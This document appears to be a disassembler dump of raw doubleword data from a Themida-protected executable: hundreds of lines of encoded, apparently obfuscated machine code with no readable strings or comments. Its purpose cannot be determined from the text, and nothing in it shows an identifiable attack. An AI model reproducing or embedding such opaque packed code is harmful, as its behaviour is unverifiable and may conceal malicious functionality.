		dd 0A5464EA2h, 0BC1B3CC8h, 0EE950h, 58EB0000h, 0B5AFD4E9h
		dd 0DDFD9B8Dh, 0BD9CA592h, 60243489h, 13E8h, 6507EB00h
		dd 526FC396h, 45D513C8h, 79FFEF2Fh, 755FCDEEh, 16B58589h
		dd 61590614h, 0AA98B5FFh, 0FFF90617h, 1402B195h, 0FB8B6606h
		dd 0AA98B5FFh, 35BB0617h, 6624B267h, 781FD781h,	308195FFh
		dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 19D6F3C3h, 31F9BD89h, 0BD830614h,	61409F5h
		dd 76840F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8BCFC356h, 142D0185h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0B5F5EF05h, 0BB66FA8Bh, 0C6BE76h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 34004281h, 68E0F76h,	9000000h, 1409B98Dh, 4D85C706h
		dd 61424h, 0E9000000h, 0FFFFF369h, 30959D8Bh, 0C18B0614h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7FC35141h
		dd 5DFFF349h, 0A936045Bh, 35958B60h, 61061403h,	0F99858Dh
		dd 81660614h, 901176EFh, 61B75250h, 10E9310Fh, 62000000h
		dd 9F0BDF85h, 0B371CD8h, 7AD181B7h, 5A67E84Ah, 8B665058h
		dd 0BB6690FEh, 6A1B45h,	6AFA8B66h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 58EE4AF8h
		dd 63A239D2h, 0E9BD23B6h, 8D061404h, 184DA885h,	58E0F06h
		dd 66000000h, 0FE64CF81h, 8005C083h, 9D0BEEC7h,	61409D5h
		dd 0FFBB5090h, 5B5BA917h, 12E950h, 5B820000h, 9C066C93h
		dd 0B7AF6654h, 0BB61BC75h, 4B8A1EADh, 57006A90h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 0F26B31EEh, 14E9964Eh, 0B8000000h, 0DF0FC9F0h, 8017BF15h
		dd 42AD17C2h, 9F2272F4h, 6A9378A9h, 618D2900h, 6A06140Eh
		dd 0BD335100h, 61425CDh, 7195FF5Bh, 3106141Ah, 141A21BDh
		dd 0FC8D8D06h, 6A0617A8h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 6F4C350h, 437F9054h
		dd 33D1FFF1h, 1430599Dh, 0CDBD8306h, 1061412h, 89850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 8D241C3h,	14800F29h, 0E9000000h, 0Fh, 34D84799h
		dd 0FCF17F8Eh, 0D1FD47A4h, 13473DEh, 1415CDB5h,	57026A06h
		dd 559D03h, 505B0614h, 870Fh, 4890000h,	53006A24h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 4592BD11h, 65FE9726h, 8D89DCD7h, 6140AFDh, 78DB8166h
		dd 3995FF14h, 0E9061409h, 0E34h, 0E8h, 0ED815D00h, 6184DB2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 90C35545h
		dd 0B2E741DCh, 0BBE3D2EAh, 506D5892h, 30399D89h, 858D0614h
		dd 6179623h, 218D0F50h,	50000000h, 16BB6652h, 0E9310F32h
		dd 12h,	753F2153h, 2C96E4B4h, 0D2EB9BB3h, 0F4B5A4BAh, 585A925Fh
		dd 89240489h, 140BD985h, 35FF6406h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 3FC35242h
		dd 0D63F2CC2h, 8E93E8Dh, 0D9000000h, 2612AD67h,	64B6A0A6h
		dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 3FF9DFC3h, 0DDBF1B5Dh, 0E9277AECh
		dd 7, 1AFE7278h, 0FF38D086h, 14236D85h,	57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 0B70F6818h, 6AFF6ADFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 6ECEC356h, 39E678A6h
		dd 0EFEEABDEh, 30D98D89h, 0D88A0614h, 14ADB5FFh, 6A0614h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0F38006C3h, 1995FFD0h, 0E906142Bh, 0E7h, 9D2900B0h
		dd 6140631h, 42BF70E6h,	317EF128h, 141DAD8Dh, 0F71E406h
		dd 613CDFB7h, 0C5830Fh,	8D890000h, 614109Dh, 0B7C8B60Fh
		dd 6BAA3h, 0BD8B0000h, 6141FE5h, 0BD03C18Bh, 6142001h
		dd 6604E8C1h, 54B7D88Bh, 29E2F766h, 140FA1BDh, 8BC82B06h
		dd 0E9D98BD1h, 6, 17119D09h, 858B0614h,	61414B5h, 2D19BD29h
		dd 0C0830614h, 0EAEB8007h, 0FC00C083h, 9E8h, 1C7F0300h
		dd 3934396Ch, 8D89DC2Ch, 6142289h, 0FD03B5Fh, 1783h, 7E900h
		dd 785E0000h, 39E1286Eh, 41E9D7h, 9D890000h, 61425CDh
		dd 2318D8Bh, 0B70F0614h, 1E183F9h, 29840Fh, 0BD890000h
		dd 614304Dh, 231A583h, 81FE0614h, 9A6885F7h, 0B595895Ah
		dd 60061414h, 0B956DE8Bh, 4F61FE39h, 0E96158h, 8D000000h
		dd 17CAC9B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 816660E0h, 8127DEC9h, 0EF7456C2h
		dd 6A616Ch, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 17h,	0B4C35545h, 0E8186E68h,	6, 0EB5E57F5h, 895B6D97h
		dd 1419E18Dh, 6995FF06h, 6A061411h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 8414C352h
		dd 37B7C20Bh, 2EFD9D8Bh, 16B90614h, 6A00000Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 8D31C355h, 0E96B355Fh, 12h, 0A5D089E3h, 0B575F652h
		dd 0FB96EDDBh, 82CDE301h, 0E183B4BBh, 0BD8BFCFCh, 61421B1h
		dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0D84ACAC3h, 820F49E1h, 3,	0FDA8B66h, 488h
		dd 0FEBB6600h, 0BA3Ah, 1CBB0000h, 0AD48B1D4h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 84B7C353h, 0C781668Ch
		dd 880DFCEBh, 0F9000000h, 0BEB50BBFh, 29958B72h, 6A061432h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0D68C356h, 2EBDB55Fh, 2AFD8531h, 8D8B0614h
		dd 614064Dh, 501BD380h,	188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0B2120128h, 0FFB70F67h, 0BA58531h
		dd 0BD830614h, 61429ADh, 9E840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0F024C356h, 0E95C7405h, 0Eh,	8D42DC7Bh, 69FAA172h, 356A3494h
		dd 0B8B588h, 0E9000000h, 9, 5EA4F5DCh, 578C159Ah, 798D8D6Fh
		dd 6A06144Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 5C40C353h, 6840FE7h, 89000000h
		dd 1406619Dh, 6AE1FF06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 85B3C357h, 0AA2891C6h
		dd 0B39E1E59h, 71BD831Dh, 61426h, 4FE840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 5E85CC3h, 0F6000000h, 0B5D754DBh, 699D8B50h,	5B061426h
		dd 0B9BD235Bh, 81061402h, 476ED4CBh, 71BD834Ah,	1061426h
		dd 4D1840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 94C0E8C3h, 71BD835Dh, 3061426h
		dd 46F860Fh, 8B520000h,	1403D5BDh, 6A605B06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 7047C357h, 7CF221DCh, 0B34D654Ch, 6AD98C66h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0C817C351h, 5E939BEh, 23000000h, 0E16C8417h,	6A04E180h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 9010C352h, 60DE857Bh, 24A5BD29h, 9E90614h
		dd 4D000000h, 558560FCh, 0D9E3ED16h, 0BE666061h, 858BB94Ah
		dd 6142315h, 85858961h,	0A061415h, 0F1840FC9h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 973CC356h, 10E984h, 2E850000h, 0FE1B161Bh
		dd 0CB8E0801h, 4BB99AAAh, 858B8D4Eh, 6141969h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FFC35646h, 51BCC56Eh
		dd 0FEDBD8Bh, 85330614h, 6141B81h, 0BB47BB66h, 8F0F90F9h
		dd 0Dh,	8E9h, 4C4B8700h, 9856C18Ah, 9E85085h, 40000000h
		dd 0D9059FAEh, 0A49C36F1h, 11E9h, 0E4CD6500h, 0C10FCBC9h
		dd 452290E1h, 72B2DFB6h, 905B7020h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 5C35646h, 21CED6CEh, 6A77ACh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0ECC35343h
		dd 3B30CD79h, 565DB0DDh, 8E0Fh,	0BD290000h, 6140F95h, 4E8h
		dd 1F03FF00h, 11E95600h, 72000000h, 0BBEB421Ah,	528FEF3Fh
		dd 2AED27A8h, 1CCAD85Dh, 0BCBF505Fh, 8B6506A6h,	0BF042444h
		dd 2ED9131Dh, 9E8008Bh,	81000000h, 9EC3A50h, 74D48079h
		dd 310F5250h, 5AD88B66h, 44895F58h, 89580424h, 1420B98Dh
		dd 5820F06h, 66000000h,	55F8D781h, 9AD95FFh, 6A0614h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 53D2BAC3h, 8D09139Ch, 6142D31h, 56A4BB66h, 0AA988589h
		dd 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0B26601C3h, 78DF7C53h, 0FE9F2F9h,	0E9000000h
		dd 2CDADE46h, 0B0E651F7h, 0CC9EF94Ch, 8EE9D439h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0E3FDC351h, 0BD8B84A9h, 6142AC1h,	0AA90858Bh
		dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E98F30C3h, 0Ch, 9A535050h, 6936C468h, 0F57A2AB8h
		dd 1800C7h, 0EF810000h,	41CB0147h, 0AA94B58Bh, 0F9600617h
		dd 0F6173B6h, 858BDEB7h, 6140B29h, 35298589h, 6890614h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 17C35141h
		dd 9B2993C6h, 8C8BBFD9h, 3860FEDh, 0F000000h, 0E3BFD9B7h
		dd 8B6740A3h, 14196985h, 0E19D8906h, 89061420h,	0FE90446h
		dd 3D000000h
		dd 0CA8A47ABh, 0CBF99356h, 0E884235Fh, 515083D1h, 2434895Fh
		dd 0DE9h, 0E7C3CE00h, 1B572814h, 1BA34E09h, 0B5FF3875h
		dd 617AA90h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0A3C35646h, 5B7F58F1h, 6F54737Eh, 0AE9h, 0F9966B00h
		dd 2AE580F0h, 686CE605h, 0D1D5C7C2h, 29C3E1BBh,	24048132h
		dd 2E493C3Dh, 1C2D9D89h, 858D0614h, 617AA98h, 0E950F88Bh
		dd 0Dh,	0EBC2CC59h, 98A60E3Bh, 0A1E100B5h, 2404894Fh, 32099589h
		dd 95FF0614h, 61409ADh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0ACC35040h, 89D4193Bh, 1425FDBDh, 0BD0B6106h
		dd 6143215h, 13C9E7BFh,	7185C70Dh, 3061426h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 6218C351h, 0F4EB8166h, 98BD839Fh,	617AAh
		dd 23840Fh, 0F88B0000h,	37E9h, 0FA8B6600h, 12E951h, 45DB0000h
		dd 3B962D15h, 1B90704Bh, 0EB1A15A0h, 0F88C28B3h, 0C30505Bh
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0F79BD8Bh
		dd 8B600614h, 142585B5h, 0CD9D0106h, 61061423h,	2071BD2Bh
		dd 0BD830614h, 6142671h, 0B5850F03h, 81000003h,	8198F6C3h
		dd 0B19D8947h, 83061429h, 17AA98BDh, 840F0006h,	39Ch, 0C299D8Bh
		dd 0B5FF0614h, 617AA98h, 1870Fh, 0FFF50000h, 142AF595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 1644C267h, 8B10007Eh, 17AA8CB5h,	0DE906h
		dd 50970000h, 0E5396F70h, 0FC842759h, 29C6C249h, 140B698Dh
		dd 106C706h, 50000100h,	0CDB5BB66h, 6A243489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 553C352h, 9DD38275h,	3471B589h, 0B5FF0614h, 617AA98h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 22C35141h
		dd 87B46EACh, 0C88D9052h, 0EDB58914h, 29061423h, 14226D95h
		dd 3195FF06h, 6A06140Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 93EAC355h, 17F1680Dh
		dd 95010ED2h, 61418EDh,	0AA8CB58Bh, 10E80617h, 7C000000h
		dd 48105077h, 7B4EEEEh,	3E4BC964h, 5F161D8Bh, 21D5858Bh
		dd 85890614h, 6140315h,	1FC755BFh, 0C4868954h, 66000000h
		dd 958BFA8Bh, 6143229h,	2B69BD03h, 0C2830614h, 20508904h
		dd 6880Fh, 9D8B0000h, 6141115h,	0BE06858Dh, 86890617h
		dd 0B8h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0DAC35343h, 0BD32EE44h,	11618589h, 0BD8B0614h
		dd 6142429h, 0E9F5006Ah, 9, 1C525B23h, 0FE81BAB1h, 98B5FF2Fh
		dd 90617AAh, 1425E1BDh,	3995FF06h, 66061409h, 0E896F98Bh
		dd 0Eh,	4BEECFACh, 202C3D05h, 23C01AAh,	11E86146h, 0A6000000h
		dd 0DB6A3ADEh, 64323F68h, 3D55524Ah, 0B5ADF0FCh, 5F5BFB8Bh
		dd 0B8666050h, 52505C41h, 8B66310Fh, 61585AD3h,	6D9D8B96h
		dd 0FF061404h, 17AA98B5h, 5BD0306h, 0FF06142Fh,	1420F595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0A6FDFA1Dh, 9D89DD0Dh, 6140B81h,	0C21BD83h
		dd 0F000614h, 4684h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0C3818C1Ch, 1A5683A7h
		dd 0CE896h, 7F9B0000h, 0B3B858A4h, 1A64C247h, 8A0F4184h
		dd 5, 9F004EBBh, 96505F43h, 0FFFB8B66h,	17AA98B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0E5B58964h, 2906142Ch, 141C61B5h, 0B195FF06h, 89061402h
		dd 1405819Dh, 158D8906h, 0FF06140Eh, 17AA98B5h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0B54E4366h, 5870F66h, 51000000h, 5FDE8B66h, 95FFF0B7h
		dd 6143081h, 7E8h, 1D6C4000h, 0D10567C1h, 13E1BD8Bh, 805F0614h
		dd 0BD838FDBh, 61409F5h, 6F840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 67EDC355h, 0E910BEE1h, 0Ch, 8748BF20h, 450D1EE6h, 49183CD7h
		dd 2D01858Bh, 7E80614h,	8F000000h, 92EAF28Fh, 8D0F209Ch
		dd 0
		dd 0C65Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0D6C35545h, 9DF4E3B2h, 85C7FCAAh, 614244Dh, 0
		dd 0A800Fh, 8B600000h, 0ED8D8BFBh, 61061418h, 0FFF32CE9h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0FD4B66F8h, 34F6D38Dh, 178E0F5Ch, 0E9000000h
		dd 12h,	25025569h, 19C7F25Ah, 0EA5CD5F8h, 0C343F15Ch, 8BF8474Ah
		dd 12E9C1h, 8CEB0000h, 0D5D7F44Dh, 0F66191B1h, 0BCFC297Ah
		dd 0FC4CC5BEh
dword_58E7C0	dd 0F99858Dh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
					; DATA XREF: Themida_:0054BA48o
		dd 180424h, 55450000h, 8B827DC3h, 7EB7BAE1h, 14E86050h
		dd 35000000h, 9915E92Bh, 0A29160C8h, 0F202F00Bh, 0D34E799Fh
		dd 8B291609h, 8B6659FAh, 48961FEh, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0B293A1FDh
		dd 8B66F79Eh, 55BD8BDAh, 8106140Ch, 321286DBh, 6A006A09h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 2AB8C353h, 0E652F57Ah, 148D9D8Bh,	6A0614h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 18C35646h
		dd 0A3087C4Eh, 559501EDh, 8D06142Bh, 185E1F85h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 2ACE512Fh, 2ABA40B0h, 31F98B66h, 1424D9BDh, 5C08306h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0D0C35343h
		dd 0F5958943h, 0F8061408h, 87BB6650h, 24048993h, 139DBD03h
		dd 6A0614h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Ch,	0DC35747h, 605A03A1h, 8E613933h, 6AFB8B66h, 0B5BD8B00h
		dd 0FF061410h, 141A7195h, 0D8D0106h, 60061421h,	25518529h
		dd 8D610614h, 17A8FC8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0A00E6D7Ah, 0FFDE8B4Eh
		dd 8A0FD1h, 83000000h, 1412CDBDh, 850F0106h, 86h, 6880Fh
		dd 810F0000h, 0
		dd 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0A36620C3h, 0B68AEB73h, 9D8BBB36h, 614322Dh
		dd 6CABF90h, 0F504465h,	8Ah, 6A9000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 365C61C3h
		dd 0A78241D1h, 3995FF14h, 0E8061409h, 0Bh, 7CC6A624h, 0B57D8C0h
		dd 81758D97h, 47D4D7CFh, 8CE95F3Fh, 0E800000Eh,	0
		dd 29ED815Dh, 8906185Eh, 140ED58Dh, 0FBB70F06h,	9623858Dh
		dd 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 3462C8C3h, 9010A1E8h, 11E850h, 36690000h
		dd 88C9A304h, 7F3FCB19h, 0BB1B1978h, 0E8556E8Fh, 0Eh, 8856F1F9h
		dd 0AEDC071Ch, 0FECD07C3h, 5B5257C3h, 89905B5Bh, 141D999Dh
		dd 6850F06h, 8B000000h,	141905BDh, 35FF6406h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 1FC35141h
		dd 8D890850h, 614221Dh,	0CE9h, 0A16AE800h, 210B7902h, 13267987h
		dd 2589647Bh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 8AC35141h
		dd 60A5AE26h, 99D8B94h,	0FF061432h, 14236D85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 320E0FF2h, 0B8B8F71Dh, 2D9D8B13h, 6A061423h,	1B5FFFFh
		dd 6A061416h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 8268C350h, 68E0F88h, 89000000h
		dd 14346D85h, 8E906h, 95E00000h, 820BC4EBh, 95FF9F99h
		dd 6142B19h, 13BE9h, 6870F00h, 81000000h, 6C1EFDC7h, 0F00B044h
		dd 58Dh, 0AD99BB00h, 70E62DD3h,	0F1815060h, 34998DA4h
		dd 798D8B58h, 61061425h, 1B618D31h, 71E40614h, 830F613Ch
		dd 100h, 2711BB66h, 9C8B60Fh, 1425319Dh, 6BA06h, 0BD030000h
		dd 61416A5h, 0F60C18Bh,	685h, 6D858B00h, 8B061420h, 14103195h
		dd 0E8C16106h, 0DA8B6604h, 0E9E2F766h, 0Ah, 59637B06h
		dd 0A7280485h, 0BD89651Ah, 614211Dh, 0D18BC82Bh, 15C9BD89h
		dd 6E90614h, 81000000h,	6AE8C6D3h, 1D858B59h, 0E906140Eh
		dd 9, 3BCAA122h, 2E8BB10Fh, 7C08341h, 58E0Fh, 81660000h
		dd 83E5F8C3h, 8B6600C0h, 0FD03BDAh, 0E83h, 56BF6600h, 66E950h
		dd 81660000h, 8BD11BF3h, 141B758Dh, 0B58D0906h,	60061401h
		dd 0A8D0Fh, 5E90000h, 4E000000h, 65519434h, 20B1958Bh
		dd 83610614h, 840F01E1h, 34h, 369B589h,	0A5830614h, 6141B75h
		dd 8D0FFEh, 89000000h, 140E1D95h, 0BE8F906h, 11000000h
		dd 27E7DC0Eh, 1F7FFC32h, 0BF66E5DFh, 0E95BD3B5h, 0
		dd 0DA9FB58Dh, 6A0617h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 5A21B4C3h, 850FEDF6h, 6,	4319D89h
		dd 0CE90614h, 0F6000000h, 6ACBCEE0h, 6B9DE722h,	6A89037Eh
		dd 39958900h, 0FF06142Bh, 14116995h, 0DE906h, 40970000h
		dd 23FFD95Bh, 6986E564h, 0B9969CE8h, 85Eh, 16860Fh, 11E90000h
		dd 0C8000000h, 275809CDh, 90C004DDh, 0D3E35F8Bh, 0F22F124Ch
		dd 6AFCE183h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0C759C350h, 59949C46h,	0BD8B15D0h
		dd 6140F3Dh, 0B8F88BFCh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F5C35141h
		dd 8BDFF93Fh, 141C9D9Dh, 0AE906h, 0B21E0000h, 9814573Bh
		dd 5C291AE3h, 0BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0C89915E9h, 0BA29160h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 9FC35646h, 3BC38166h, 0E870F39h
		dd 60000000h, 5E9h, 0F2ABE200h,	46B0ED8Eh, 880D61h, 9D8B0000h
		dd 61420CDh, 3229958Bh,	0EF810614h, 73154467h, 64D8D8Bh
		dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0B501AEC3h, 6142ED1h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0CFA0D5C3h, 20640012h
		dd 15B19501h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0E20997C3h, 28A5663Ah, 0CE97Eh
		dd 0C9970000h, 8E68D494h, 0CCF2516Bh, 0BD83E5CDh, 61429ADh
		dd 39840F00h, 89000000h, 141A018Dh, 0B806h, 0EF810000h
		dd 682DF937h, 4D798D8Dh, 8F0F0614h, 3, 0FFDF8B66h, 8E8E1h
		dd 87350000h, 0F655E58Dh, 8B66C6D6h, 0BD8B5FD8h, 61401D5h
		dd 2671BD83h, 0F000614h, 45484h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0D9BD2302h
		dd 8306140Bh, 142671BDh, 840F0106h, 440h, 30359D0Bh, 0BF0F0614h
		dd 71BD83FFh, 3061426h,	3F4860Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8CB620C3h
		dd 2FDAF3AEh, 6A604DEAh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0B423C351h,	0BB66F83Ah
		dd 8C66D3A5h, 4E180D9h,	9E8h, 0E2EB4B00h, 0C7B42ED4h, 0BF666A3Bh
		dd 0A5FBF2Bh, 56840FC9h, 0F000001h, 18Ch, 858BFC00h, 6141969h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 19C35040h
		dd 80415F39h, 1B818533h, 6A0614h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E94EBEC3h, 0Eh, 4A6FEBB6h
		dd 4BF4414Bh, 760AE3Bh,	8950EB40h, 6A2404h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0EAC35242h, 8E22FBB9h
		dd 8B21545Dh, 14346DBDh, 800F6006h, 6, 1AE5850Bh, 13E90614h
		dd 74000000h, 5416AAEFh, 0F2DA7CE0h, 2E132B47h,	0DB8E98F9h
		dd 686144CCh, 0DB666B53h, 9882BB66h, 0AC240481h, 6A24B898h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 35CEC353h, 8B15F094h, 140D69BDh, 0AD95FF06h
		dd 0F061409h, 8589DAB7h, 617AA98h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 4BC35141h, 27A5FFh,	67CCCC63h
		dd 9E9h, 209F700h, 0CD87F5D1h, 0CFE90D7Eh, 6A000001h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0B050C353h, 0EDA9F1BBh, 90858B12h, 0BF0617AAh, 5ECCD2E0h
		dd 1800C7h, 66530000h, 8B5FDA8Bh, 17AA94B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0CE83FABh, 0BB000000h, 27C2F04Bh, 0D932F227h, 890E5FC0h
		dd 140D69BDh, 858B5F06h, 6140B29h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0BFC35646h,	9D8BA924h, 6140E29h
		dd 0B1858B60h, 0F061429h, 18Ch,	8961FC00h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 2CB8CBC4h, 44FE144Dh, 9D8B33C2h, 6140EE1h, 1969858Bh
		dd 8D890614h, 6142E69h,	6A044689h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0E792C355h
		dd 23FE2D4Dh, 0D9259B15h, 0ABF78166h, 525050ECh, 0C7DBBB66h
		dd 5BBB310Fh, 5A57AF29h, 24348958h, 25BDBD8Bh, 0B5FF0614h
		dd 617AA90h, 0A498D89h,	0F4680614h, 81382836h, 350B2434h
		dd 1FBF3837h, 8D0729EDh, 17AA9885h, 12E95006h, 0AF000000h
		dd 7F720B54h, 9871C5F5h, 151B896h, 9D519C99h, 24048925h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 61C35343h
		dd 7E9ACh, 0B8DA0000h, 7D7EBD85h, 1AEB80F0h, 52D38166h
		dd 0AD95FFECh, 6A061409h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 83BC350h, 1DF81138h
		dd 9509A135h, 6141521h,	24D1BD8Bh, 66610614h, 0C78343BBh
